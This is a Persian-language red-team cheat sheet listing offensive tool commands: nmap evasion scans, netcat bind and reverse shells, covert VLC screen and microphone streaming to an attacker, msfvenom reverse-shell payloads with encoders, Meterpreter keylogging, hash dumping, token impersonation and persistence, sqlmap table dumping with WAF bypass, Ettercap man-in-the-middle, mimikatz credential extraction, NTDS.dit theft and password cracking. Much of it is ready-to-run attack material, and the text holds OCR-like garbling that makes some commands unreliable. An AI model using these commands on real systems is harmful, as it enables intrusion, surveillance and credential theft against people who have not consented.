تیم قرمز

برگه رمز هایی برای نفوذگران

سرآغاز لینوکس ویندوز شبکه نکات و ترفند ها روش کار با ابزار ها وب پایگاه داده ها برنامه نویسی بی سیم مهندسی معکوس رمزنگاری پنهان نگاری ارزیابی اطلاعات(osint) منابع

روش استفاده از ابزار ها

دستور Nmap

روش های پویش

سوییچ توضیح
-sP پویش با ping
-sS پویش با syn
-sT پویش با اتصال
-sU پویش با udp
-sO پویش با پروتکل
-sV پویش به همراه نسخه ها
-sC پویش به همراه traceroute
-T4 تعیین سرعت پویش بین ۰ تا ۵
-oA خروجی پویش با تمامی فرمت ها
-iL list.txt پویش محتویات لیست

قابلیت ها

سوییچ توضیح
-ox file نوشتن داخل فایل xml
-oG file نوشتن داخل فایل grep شده
-oA file ذخیره سازی با 3 فرمت
-iL file خواندن هاست ها از درون فایلم
-exclude file file به جز هاست های درون فایل

قابلیت های پیشرفته

سوییچ توضیح
-sV -p –script=banner بنر هاست
–traceroute ترسیم نقشه route
–ttl کد ttl
–script اسکریپت

Firewall evasion

سوییچ توضیح
-f بست های تقطیع شده
-s ip spoof منبع
-g # spoof پورت منبع
-D ip , ip طعمه
–mtu # تنظیم سایز MTU
–spoof-mac mac spoof آدرس mac
–data-length size اندازه
–scan-delay script اسکریپت
–min-rate=X تعیین حداقل تعداد درخواست ارسالی در ثانیه

تبدیل خروجی xml به html

xsltproc nmap.xml -o nmap.html

ایجاد هاست های فعال

nmap -sP -n -oX out.xml 1.1.1.0/24 2.2.2.0/24 | grep "Nmap" | cut -d " " -f
5 live hosts.txt

مقایسه نتایج nmap

ndiff scanl.xml scan2.xml

جست و جوی معکوس dns در محدوده ip

nmap -R -sL -dns-server server 1.1.1.0/24

تست ids (پویش xmas به همراه طعمه ips و spoofing)

for x in {1 .. lOOOO .. 1);do nmap -T5 -sX -S spoof-source-IP -D 
comma-seperated with no spaces list of decoy IPs --spoof-mac aa:bb:cc:dd:ee:ff
-e eth0 -Pn targeted-IP. ;done

لیست اسکریپت های nmap

نام توضیح
لیست مسیر های به اشتراک گذاشته smb-enum-shares.nse

نرم افزار Wireshark

فیلتر توضیح
eth.addr/eth.dst.eth.src MAC
rip.auth.passwd کلمه عبور RIP
ip.addr/ip.dst/ip.src (ipv6.) IP
tcp.port/tcp.dstport/tcp.srcport پورت های TCP
tcp.flags (ack,fin,push,reset,syn,urg) فلگ های TCP
udp.port/udp.dstport/udp.srcport پوت های UDP
http.authbasic احراز هویت از انوع Basic authentication
http.www_authentication احراز هویت از انوع HTTP authentication
http.data داده های HTTP
http.cookie کوکی های HTTP
http.referer مسیر ریفرر HTTP
http.server سرور های HTTP
http.user agent قسمت user-agent در HTTP
wlan.fc.type eq 0 802.11 management frame
wlan.fc.type eq 1 802.11 control frame
wlan.fc.type eq 0 802.11 data frame
wlan.fc.type subtype eq 0 (1=reponse) 802.11 association request
wlan.fc.type_subtype eq 2 (3=response) 802.11 reassociation req
wlan.fc.type_subtype eq 4 (5=response) 802.11 probe request
wlan.fc.type_subtype eq 8 802.11 beacon
wlan.fc.type subtype eq 10 802.11 disassociate
wlan.fc.type=subtype eq 11 (12=deauthenticate) 802.11 authenticate

اپراتور های دستورات

eq OR ==
ne OR !=
gt OR
lt OR
ge OR =
le OR =

اپراتور های منطقی

and OR &&
or OR ||
xor OR ^^
not OR !

دستور Netcat

پایه ای

Connect to [TargetiP] Listener on [port]:
$ nc [ Targeti P] [port]

Start Listener:
$ nc -1 -p [port]

پویش پورت ها

TCP Port Scanner in port range [startPort] to [endPort]:
$ nc -v -n -z -wl [TargetiP] [startPort]-[endPort]

انتقال فایل ها

ارسال فایل
nc.exe 10.10.10.10 < "file.log"

دریافت فایل
nc -vnlp 1234 > file.txt
Grab a [filename] from a Listener:
1. Start Listener to push [filename]
    $ nc -1 -p [port] [filename]
2. Connect to [TargetiP] and Retrieve [filename]
    $ nc -w3 [TargetiP] [port] [filename]

Push a [filename] to Listener:
1. Start Listener to pull [filename]
    $ nc -1 -p [port] [filename]
2. Connect to [TargetiP] and push [filename]
    $nc -w3 [TargetiP] [port] [filename]

شل های backdoor

Linux Shell:
$ nc -1 -p [port] -e /bin/bash
Linux Reverse Shell:
$ nc [LocaliP] [port] -e /bin/bash
Windows Shell:
$ nc -1 -p [port] -e cmd.exe
Windows Reverse Shell:
$ nc [LocaliP] [port] -e cmd.exe

استفاده از VLC برای streaming

Use cvlc \(command line VLC\) on target to migrate popups

ذخیره و stream نمودن صفحه نمایش از طریق پروتکل udp به سمت آدرس حمله کننده و پورت 1234

# Start a listener on attacker machine
vlc udp://@:1234

-- OR -

# Start a listener that stores the stream in a file.
vlc udp://@:1234 :sout=#transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,
ab=128,channels=2,samplerate=44100):file{dst=test.mp4) :no-sout-rtp-sap
:no-sout-standard-sap :ttl=1 :sout-keep

# This may make the users screen flash. Lower frame rates delay the video.
vlc screen:// :screen-fps=25 :screen-caching=100
:sout=#transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,ab=128,channels=2,sam
plerate=44100):udp{dst= attackerip :1234) :no-sout-rtp-sap :no-soutstandard-
sap :ttl=1 :sout-keep

ذخیره و stream صفحه نمایش در پروتکل http

# Start a listener on attacker machine
    vlc http://server.example.org:BOBO

-- OR -

# Start a listener that stores the stream to a file
vlc http://server.example.org:BOBO -sout=#
transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,ab=128,channels=2,samp
lerate=44100):file{dst=test.mp4)

# Start streaming on target machine
vlc screen:// :screen-fps=25 :screen-caching=100
:sout=#transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,ab=128,channels=2,sam
plerate=44100):http{mux=ffmpeg{mux=flv),dst=:8080/) :no-sout-rtp-sap :nosout-
standard-sap :ttl=1 :sout-keep

ذخیره و stream بر روی broadcast

# Start a listener on attacker machine for multicast
vlc udp://@ multicastaddr :1234

# Broadcast stream to a multicast address
vlc screen:// :screen-fps=25 :screen-caching=100
:sout=#transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,ab=128,channels=2,sam
plerate=44100):udp{dst= multicastaddr :1234) :no-sout-rtp-sap :no-soutstandard-
sap :ttl=1 :sout-keep

ذخیره و ثبت صفحه نمایش درون یک فایل

vlc screen:// :screen-fps=25 :screen-caching=100
:sout=#transcode{vcodec=h264,vb=O,scale=O,acodec=mp4a,ab=128,channels=2,sam
plerate=44100):file{dst=C:\\Program Files (x86)\\VideoLAN\\VLC\\test.mp4)
:no-sout-rtp-sap :no-sout-standard-sap :ttl=1 :sout-keep

ثبت و stream میکروفن بر روی udp

vlc dshow:// :dshow-vdev="None" :dshow-adev="Your Audio Device"

دستور SSH

/etc/ssh/ssh known hosts    #System-wide known hosts
-/.ssh/known_hosts          #Hosts user has logged into    
sshd-generate               #Generate SSH keys (DSA/RSA)
ssh keygen -t dsa -f /etc/ssh/ssh_host_dsa_key       #Generate SSH DSA keys
ssh keygen -t rsa -f /etc/ssh/ssh_host_rsa_key        #Generate SSH RSA keys

If already in ssh session, press SHIFT -C to configure tunnel
Port forwarding must be allowed on target
/etc/ssh/sshd_config - AllowTcpForwarding YES

اتصال با ssh با پورت خاص

ssh [email protected] -p 8222

تنظیم x11 قربانی برای حمله کننده

xhost+
vi -/.ssh/config- Ensure 'ForwardXll yes'
ssh -X [email protected]

ایجاد port forward بر روی پورت 8080 وانتقال به سمت پورت 443 مهاجم

ssh -R8080:12-.0.0.1:443 [email protected].

استفاده از port forward بر روی پورت 8080 مهاجم و انتقال اطلاعات با استفاده از ssh tunnel و پورت 3300 3.3.3.3

ssh -18080:3.3.3.3:443 [email protected]

تونل پویا با استفاده از proxychain. همچنین فایل /etc/proxychain.conf برای تنظیم پورت (1080)

ssh -D1080 [email protected]
In a separate terminal run:
proxychains nmap -sT -p80,443 3.3.3.3

ایجاد ssh tunnel به صورت multi-hop

ssh -L 8888:127.0.0.1:8444 50mctf@MY_VPS
ssh -v -o PubkeyAuthentication=no -o PreferredAuthentications=password -o GatewayPorts=yes -fN -R *:8444:172.28.0.3:80 50mctf@MY_VPS

نرم افزار Metasploit

دستور توضیح
msfconsole r file.rc بارگذاری فایل منابع
msfcli | grep exploit/window لیست اکسپویت های ویندوز
rnsfencode -l لیست encode ها
msfpayload -h لیست payload ها
show exploits Display exploits
show auxiliary نمایش ماژول auxiliary
show payloads نمایش payload ها
search string جست و جو برای رشته ای خاص
searchsploit string جست و جو در اکسپلویت ها
searchsploit -m exploits/php/webapps/45161.py کپی فایل اکسپولیت در مسیر جاری
info module نمایش اطلاعات ماژول
use module بارگذاری اکسپولیت یا ماژول
show options نمایش ویژگی های ماژول
show advanced نمایش تنظیمات پیشرفته
set option value تنظیم مقدار
sessions -v لیست نشست ها: -k # (حذف)
-u # (بروزرسانی Meterpreter)
sessions -s script اجرا اسکریپت Meterpreter در تمامی نشست ها
jobs -l لیست تمامی job ها (-k # - kill)
exploit -j اجرا اکسپلویت به عنوان job
route add ip nmask sid چرخش یا Pivoting
loadpath /home/modules بارگذاری درخت تردپارتی
irb اجرای شل ruby
connect -s ip 443 اتصال به ssl (NC clone)
route add ip mask session id اضافه نموده route ·در درون نشست (pivot)
exploit/multi/handler - set ExitOnSession False

نمایش تنظیمات بیشتر

شل ها

set ConsoleLogging true (also

SessionLogging)

فعال سازی گزارش گیری

دستور Sqlmap

ارسال درخواست Get

sqlmap.py -u "http://url?id=1&str=val"

ارسال درخواست Post

sqlmap.py -u "http://url" --data="id=1&str=val"

تزریق sql در پارامتر خاص و دانستن نوع دیتابیس

sqlmap.py -u "http://url" --data="id=l&str=val" -p "id"
-b --dbms="mssqllmysqlloraclelpostgres"

تزریق sql در صفحه نیازمند احراز هویت

1.Login and note cookie value (cookie1=val1, cookie2=val2)
sqlmap.py -u "http:// url "--data="id=l&str=val" -p "id"
--cookie="cookiel=vall;cookie2=val2"

تزریق sql و دریافت نسخه پایگاه داده و نام و کاربر آن

./sqlmap.py -u "http://url" --data="id=1&str=val" -p "id" -b --current-db
--current-user

تزریق sql و دریافت جداول پایگاه داده db=testdb

sqlmap.py -u "http://url" --data="id=1&str=val" -p "id" --tables -D
"testdb"

تزریق sql و دریافت ستون های جدول

sqlmap.py -u "http://url" --data="id=l&str=val" -p "id" --columns -T
"users"

خواندن از فایل

sqlmap.py -r req.txt

دریافت رکورد های جدول مشخص از پایگاه داده مشخص

sqlmap -r req -D openemr -T users_secure --dump

استفاده از تکنیک تاخییر

sqlmap -r req  --technique=T

اطلاعات بیشتر

دور زدن waf با unicode

sqlmap -r json  --tamper=charunicodeescape  --dump --level=5 --risk=3 --dbs --columns

msf

ایجاد پیلود meterpreter (برای لینوکس: -t file -o callback)

./msfpayload windows/meterpreter/reverse tcp LHOST=ip LPORT=port R |
./msfencode -t exe -o callback.exe -e x86/shikata_ga nai -c 5

ایجاد پیلود با meterpreter بایند شده

./msfpayload windows/meterpreter/bind_tcp RP.OST=ip LPORT=port X
cb.exe

ایجاد reverse shell جاوا

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=9999 -f WAR > exploit.war

ایجاد reverse shell برای ویندوز با msfvenom

msfvenom -p windows/shell_reverse_tcp lhost=ip lport=port -f exe --platform windows >reverse.exe

ایجاد پیلود انکد شده با استفاده از msfvenom

./msfvenorn --payload windows/meterpreter/reverse~tcp --format exe
template calc.exe -k --encoder x86/shikata_ga_nai -i 5 LHOST=1.1.1.1
LPORT=443 callback.exe

شروع دیتابیس msf (bt5=mysql,kali=postgresql)

/etc/rc.d/rc.mysqld start
msf db_create root:pass@localhost/metasploit
msf load db mysql
msf db connect root:pass@localhost/metasploit
msf db=import nmap.xml

--- Kali ---
# service postgresql start
# service metasploit start

برگرداندن شل (به صورت پیش فرض باعث اجرای notepad و تزریق می شود)

msf use post/windows/manage/multi meterpreter inject
msf set IPLIST attack ip 
msf set LPORT callback port
msf set PIDLIST PID to inject, default creates new notepad
msf set PAYLOAD windows/meterpreter/reverse_tcp
msf set SESSION meterpreter session ID

نمایش بنر html در شبکه داخلی

msf route add ip/range netmask meterpreter ID
msf use post/multi/gather/ping sweep # Set options and run
msf use /auxiliary/scanner/portscan/tcp # Set options and run
msf hosts-u-S x.x.x -R #Searches for x.x.x.' and sets
# RHOSTS
msf use auxiliary/scanner/http/http version # Set options and run
msf services -v -p 80-S x.x.x -R - #Displays IPs x.x.x.' with port
# 80 open

Meterpreter

دستور توضیح
help لیست دستورات موجود
sysinfo نمایش اطلاعات سیستم
ps لیست فرآیند ها
getpid لیست PID موجود
upload file C:\Program Files\ بارگذاری فایل
download file دریافت فایل
reg command تعامل با رجیستری
rev2self بازگشت به کاربر اصلی
shell انتقال به شل تعاملی
migrate PID تغییر به PID دیگر
background فرآیند جاری پشت زمینه
keys can (start|stop|dump) شروع/توقف/حذف keylogger
execute -f cmd.exe -i اجرا cmd.exe و تعامل با آن
execute -f crnd.exe -i -H -t اجرا cmd.exe به عنوان فرآیند مخفی و دریافت تمامی توکن ها
has dump دریافت تمامی هش های محلی
run script اجرای اسکریپت (/scripts/meterpreter)
port fwd [add I delete] -lL 127.0.0.1 443 -r 3.3.3.3 -p 3389 ایجاد Port forward بر روی پورت 3389 درون نشست جاری و دسترسی از راه دور به دسکتاپ بر روی پورت 443

افزایش سطح دسترسی

use priv
getsystem

توکن جعل هویت (حذف _token باعث متوقف شدن جعل هویت می شود)

use incognito
list tokens -u
impersonate token domain\\user

استفاده از nmap در meterpreter socks proxy

1. msf sessions #Note Meterpreter ID
2. msf route add 3.3.3.0 255.255.255.0 id
3. msf use auxiliary/server/socks4a
4. msf run
5. Open new shell and edit /etc/proxychains.conf
i. #proxy_dns
ii. #socks4 127.0.0.1 9050
iii. socks4 1.1.1.1 1080
6. Save and Close conf file
7. proxychains nmap -sT -Pn -p80,:35,s45 3.3.3.3

Railgun - api مربوط به نمایش پیام خاص

meterprete irb
client.railgun.user32.MessageBoxA(O,"got","YOU","MB_OK")

ایجاد سرویس ویندوز پاییدار

msf use post/windows/manage/persistence
msf set LHOST attack ip
msf set LPORT callback port
msf set PAYLOAD_TYPE TCPIHTTPIHTPS
msf set REXENAHE filename
msf set SESSION meterpreter session id
msf set STARTUP SERVICE

جمع آوری آخرین فایل های درخواست شده و لینک های وب

meterpreter run post/windows/gather/dumplinks

ایجاد فرآیند جدید و دستور tree c:\

execute -H -f cmd.exe -a '/c tree /F /A c:\ C:\temp\tree.txt'

نرم افزار Ettercap

حمله Main-In-Middle با استفاده از فیلتر ها

ettercap.exe -I iface -M arp -Tq -F file.ef MACs / IPs / Ports
MACs / IPs / Ports
#i.e.: // 80,443 // = any MAC, any IP, ports 80,443

حمله Main-In-Middle در subnet با فیتلر های کاربردی

ettercap -T -M arp -F filter // //

حمله Switch flood

ettercap -TP rand flood

فیلتر های Ettercap

کامپایل فیلتر های ettercap

etterfilter filter.filter -o out.ef

فیلتر نمونه - حذف ترافیک vpn و مزگشایی ترافیک http

if lip.proto == UDP && udp.dst == 500) I
    drop();
    kill(); }
if I ip.src == 'ip' ) (
    if (tcp.dst == 80) (
        if (search(DATA.data, "Accept-Encoding")) (
            replace("Accept-Encoding","Accept-Rubbish!");
            msg("Replaced Encoding\n");
        }
    }
}

دستور Mimikatz

1. Upload mimikatz.exe and sekurlsa.dll to target
2. execute mirnikatz
3. mimikatz# privilege: :debug
4. mimikatz# injeet::proeess lsass.exe sekurlsa.dll
5. mimikatz# @getLogonPasswords
6. sekurlsa::minidump /users/redteam/Desktop/lsass.DMP
7. sekurlsa::LogonPasswords

یا

mimikatz# sekurlsa::tickets /export
mimikatz# kerberos::ptt <TICKET PATH>

یا

#cleartext password and hash
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "token::elevate" "lsadump::secrets" "exit"

دستور Hping3

hping3 targetiP --flood --frag --spoof ip --destport # --syn

دستور Arping

./arping -I eth# -a # arps

دستور Wine

ed /root/.wine/drive e/HinGW/bin
wine gee -o file.exe /tmp/ eode.e
wine file.exe

نرم افزار Grub

GRUB Henu:Add 'single' end of kernel line. Reboot. Change root pass. reboot

دستور Hydra

hydra -1 ftp -P words -v targetiP ftp

نرم افزار hashcat

کرک NTLMv2

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force

نرم افزار John the ripper

کرک با لیست کلمات

$ ./john -wordfile:pw.lst -format: format hash.txt

فرمت های نمونه

$ john --format~des    username:SDbsuge8iC58A
$ john --format~lm     username:$L~$a9c604d244c4e99d
$ john --format~md5    $1$12345678$aiccj83HRD8o6ux1bVx7D1

$ john --format~raw-sha1 A9993E364706816A8A3E25717850C26C9CDOD89D

# For --format~netlmv2 replace $NETLM with $NETLMv2
$ john --format~netlm
$NETLM$1122334455667788$0836F0858124F338958-5F81951905DD2F85252CC-318825
username:$NETLM$ll22334455667788$0836F0858124F338958"5F81951905DD2F85252CC7
318825
username:$NETLM$1122334455667788$0836F0858124F338958-5F81951905DD2F85252CC7
318825:::::::

# Exactly 36 spaces between USER and HASH (SAP8 and SAPG)
$ john --format~sapb
ROOT    $8366A4E9E68"2C80
username:ROOT    $8366A4E9E68"2C80

$ john --format=sapg
ROOT $1194E38F1489F3F8DA18181F14DE8"0E"8DCC239
username:ROOT
$1194E38F1489F3F8DA18181F14DE8-0E-8DCC239

$ john --format=sha1-gen
$SHA1p$salt$59b3e8d63-cf9"edbe2384cf59cb"453dfe30-89
username:$SHA1p$salt$59b3e8d63-cf9"edbe2384cf59cb-453dfe30-89

$ john --format=zip
$zip$'0'1'8005b1b"d07""08d'dee4
username:$zip$'0'1'8005b1b-d0"-"08d'dee4

لیست کلمه عبور

ایجاد کلمات مختلف بر مبنای یک کلمه

#Add lower(@), upper(,), ~umber(%), and symbol(^) I to the end of the word
crunch 12 12 -t baseword@,%^ wordlist.txt

Use custom special character set and add 2 numbers then special character
maskprocessor -custom-charset1=\!\@\#\$ baseword?d?d?l wordlist.txt

generate wordlist from website with number 
cewl -d 5 -m 3 -w wordlist http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

دستور Vsown

1. Download: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs
2. Create a new Shadow Copj
    a. cscript vssown.vbs /start (optional)
    b. cscript vssown.vbs /create
3. Pull the following files frorr. a shadow copj:
    a. Copy
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\
    ntds\ntds.dit .
b. copj
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\
    System32\config\SYSTEM .
    C. COpj
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\
    system32\config\SAM .
4. Copj files to attack box.
5. Download tools: http://www.ntdsx~ract.com/downloads/ntds dump_hash.zip
6. Configure and Make source code for libesedb from the extracted package
    a. cd libesedb
    b. chmod +x configure
    c. ./configure && make
Use esedbdumphash to ex~ract the datatable from ntds.dit.
    a. cd esedbtools
    b. . I esedbdumphash ../../ntds.dit

هش File

طول هش

MD5 16 bytes
SHA-1 20 bytes
SHA-256 32 bytes
SHA-512 64 bytes

نرم افزار های دارای پایگاه داده های هش های مختلف

http://isc.sans.edu/tools/hashsearch.html
# dig +short md5 .md5.dshield.org TXT
Result = " filename I source " i.e. "cmd.exe I NIST"

پایگاه داده هش Malware ها

http://www.team-cymru.org/Services/MHR
# dig +short [MD5|SHA-1].malware.hash.cymru.com TXT
Result = last seen timestamp AV detection rate
Convert timestamp= perl-e 'print scalar localtime( timestamp ) , "\n"'

جست و جو در metadata فایل ها

https://fileadvisor.bit9.com/services/search.aspx

جست و جو در پایگاه داده virustotal

https://www.virustotal.com/#search

حدس کلمه عبور فایل zip

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt secret.zip

حدس کلمه عبور سرویس winrm

crackmapexec winrm <IPS> -u <USERS> -p <PASSWORDS>

حدس کلمه عبور سرویس smb

crackmapexec smb <IP> -u <USER> -p <PASS> --shares

اتصال به mssql با impackt

mssqlclient.py -port 1433 [email protected]